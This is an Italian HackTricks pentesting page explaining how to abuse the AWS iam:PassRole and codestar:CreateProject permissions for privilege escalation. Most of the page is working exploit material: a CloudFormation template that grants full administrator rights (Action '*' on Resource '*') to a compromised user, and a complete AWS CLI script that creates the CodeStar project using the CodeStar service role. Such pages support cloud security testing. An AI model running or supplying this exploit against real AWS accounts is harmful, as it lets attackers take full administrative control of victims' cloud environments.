iam:PassRole, codestar:CreateProject

Sostieni HackTricks

Con queste autorizzazioni è possibile abusare di un ruolo IAM di codestar per eseguire azioni arbitrarie attraverso un modello cloudformation.

Per sfruttare ciò è necessario creare un bucket S3 accessibile dall'account attaccato. Carica un file chiamato toolchain.json. Questo file dovrebbe contenere l'exploit del modello cloudformation. Il seguente può essere utilizzato per impostare una policy gestita per un utente sotto il tuo controllo e concedergli permessi di amministratore:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

Inoltre carica questo file zip vuoto nel bucket:

Ricorda che il bucket con entrambi i file deve essere accessibile dall'account della vittima.

Una volta caricati entrambi gli elementi, puoi procedere con l'exploit creando un progetto codestar:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Questo exploit si basa sull'exploit Pacu di questi privilegi: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Su di esso puoi trovare una variazione per creare una policy gestita dall'amministratore per un ruolo invece che per un utente.

Supporta HackTricks

Last updated